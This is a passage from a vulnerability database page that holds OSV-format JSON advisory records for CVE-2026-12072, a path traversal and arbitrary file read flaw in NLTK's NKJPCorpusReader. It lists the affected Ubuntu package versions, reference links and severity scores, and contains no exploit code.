      "published": "2026-08-04T11:34:45.986151Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/nltk/nltk"
        },
        {
          "type": "PACKAGE",
          "url": "https://pypi.org/project/nltk"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-6hm5-jgcp-p838"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12072"
        }
      ],
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)"
    }

    UBUNTU-CVE-2026-12072 (CVE-2026-12072)

    Vulnerability from osv_ubuntu – Published: 2026-08-13 00:00 – Updated: 2026-10-17 09:37 – Source website
    VLAI

    {
      "affected": [
        {
          "ecosystem_specific": {
            "binaries": [
              {
                "binary_name": "python-nltk",
                "binary_version": "2.0~b9-0ubuntu4.1~esm6"
              }
            ]
          },
          "package": {
            "ecosystem": "Ubuntu:Pro:14.04:LTS",
            "name": "nltk",
            "purl": "pkg:deb/ubuntu/nltk@2.0~b9-0ubuntu4.1~esm6?arch=source\u0026distro=esm-infra-legacy/trusty"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "2.0~b9-0ubuntu4",
            "2.0~b9-0ubuntu4.1~esm2",
            "2.0~b9-0ubuntu4.1~esm4",
            "2.0~b9-0ubuntu4.1~esm5",
            "2.0~b9-0ubuntu4.1~esm6"
          ]
        },
        {
          "ecosystem_specific": {
            "binaries": [
              {
                "binary_name": "python-nltk",
                "binary_version": "3.1-1ubuntu0.1+esm4"
              },
              {
                "binary_name": "python3-nltk",
                "binary_version": "3.1-1ubuntu0.1+esm4"
              }
            ]
          },
          "package": {
            "ecosystem": "Ubuntu:Pro:16.04:LTS",
            "name": "nltk",
            "purl": "pkg:deb/ubuntu/nltk@3.1-1ubuntu0.1+esm4?arch=source\u0026distro=esm-apps-legacy/xenial"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "3.0.4-1",
            "3.0.5-1",
            "3.1-1",
            "3.1-1ubuntu0.1",
            "3.1-1ubuntu0.1+esm1",
            "3.1-1ubuntu0.1+esm2",
            "3.1-1ubuntu0.1+esm3",
            "3.1-1ubuntu0.1+esm4"
          ]
        },
        {
          "ecosystem_specific": {
            "binaries": [
              {
                "binary_name": "python-nltk",
                "binary_version": "3.2.5-1ubuntu0.1+esm4"
              },
              {
                "binary_name": "python3-nltk",
                "binary_version": "3.2.5-1ubuntu0.1+esm4"
              }
            ]
          },
          "package": {
            "ecosystem": "Ubuntu:Pro:18.04:LTS",
            "name": "nltk",
            "purl": "pkg:deb/ubuntu/nltk@3.2.5-1ubuntu0.1+esm4?arch=source\u0026distro=esm-apps/bionic"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "3.2.4-1",
            "3.2.5-1",
            "3.2.5-1ubuntu0.1",
            "3.2.5-1ubuntu0.1+esm1",
            "3.2.5-1ubuntu0.1+esm2",
            "3.2.5-1ubuntu0.1+esm3",
            "3.2.5-1ubuntu0.1+esm4"
          ]
        },
        {
          "ecosystem_specific": {
            "binaries": [
              {
                "binary_name": "python3-nltk",
                "binary_version": "3.4.5-2ubuntu0.1~esm4"
              }
            ]
          },
          "package": {
            "ecosystem": "Ubuntu:Pro:20.04:LTS",
            "name": "nltk",
            "purl": "pkg:deb/ubuntu/nltk@3.4.5-2ubuntu0.1~esm4?arch=source\u0026distro=esm-apps/focal"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "3.4.5-1",
            "3.4.5-2",
            "3.4.5-2ubuntu0.1~esm1",
            "3.4.5-2ubuntu0.1~esm2",
            "3.4.5-2ubuntu0.1~esm3",
            "3.4.5-2ubuntu0.1~esm4"
          ]
        },
        {
          "ecosystem_specific": {
            "binaries": [
              {
                "binary_name": "python3-nltk",
                "binary_version": "3.7-1ubuntu0.1~esm2"
              }
            ]
          },
          "package": {
            "ecosystem": "Ubuntu:Pro:22.04:LTS",
            "name": "nltk",
            "purl": "pkg:deb/ubuntu/nltk@3.7-1ubuntu0.1~esm2?arch=source\u0026distro=esm-apps/jammy"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "3.5-1",
            "3.6.5-1",
            "3.6.7-1",
            "3.7-1",
            "3.7-1ubuntu0.1~esm1",
            "3.7-1ubuntu0.1~esm2"
          ]
        },
        {
          "ecosystem_specific": {
            "binaries": [
              {
                "binary_name": "python3-nltk",
                "binary_version": "3.8.1-1ubuntu0.1~esm2"
              }
            ]
          },
          "package": {
            "ecosystem": "Ubuntu:Pro:24.04:LTS",
            "name": "nltk",
            "purl": "pkg:deb/ubuntu/nltk@3.8.1-1ubuntu0.1~esm2?arch=source\u0026distro=esm-apps/noble"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "3.8.1-1",
            "3.8.1-1ubuntu0.1~esm1",
            "3.8.1-1ubuntu0.1~esm2"
          ]
        },
        {
          "ecosystem_specific": {
            "binaries": [
              {
                "binary_name": "python3-nltk",
                "binary_version": "3.10.3-1"
              }
            ]
          },
          "package": {
            "ecosystem": "Ubuntu:26.10",
            "name": "nltk",
            "purl": "pkg:deb/ubuntu/nltk@3.10.3-1?arch=source\u0026distro=stonking"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "3.9.2-1",
            "3.9.3-1",
            "3.10.0-1",
            "3.10.1-1",
            "3.10.3-1"
          ]
        },
        {
          "ecosystem_specific": {
            "binaries": [
              {
                "binary_name": "python3-nltk",
                "binary_version": "3.9.2-1ubuntu0.1~esm2"
              }
            ]
          },
          "package": {
            "ecosystem": "Ubuntu:Pro:26.04:LTS",
            "name": "nltk",
            "purl": "pkg:deb/ubuntu/nltk@3.9.2-1ubuntu0.1~esm2?arch=source\u0026distro=esm-apps/resolute"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ],
          "versions": [
            "3.9.1-2",
            "3.9.1-2build1",
            "3.9.2-1",
            "3.9.2-1ubuntu0.1~esm1",
            "3.9.2-1ubuntu0.1~esm2"
          ]
        }
      ],
      "aliases": [],
      "details": "[Unknown description]",
      "id": "UBUNTU-CVE-2026-12072",
      "modified": "2026-10-17T09:37:59Z",
      "published": "2026-08-13T00:00:00Z",
      "references": [
        {
          "type": "REPORT",
          "url": "https://ubuntu.com/security/CVE-2026-12072"
        },
        {
          "type": "REPORT",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12072"
        },
        {
          "type": "REPORT",
          "url": "https://github.com/nltk/nltk/security/advisories/GHSA-6hm5-jgcp-p838"
        }
      ],
      "related": [],
      "schema_version": "1.7.0",
      "severity": [
        {
          "score": "medium",
          "type": "Ubuntu"
        }
      ],
      "upstream": [
        "CVE-2026-12072"
      ]
    }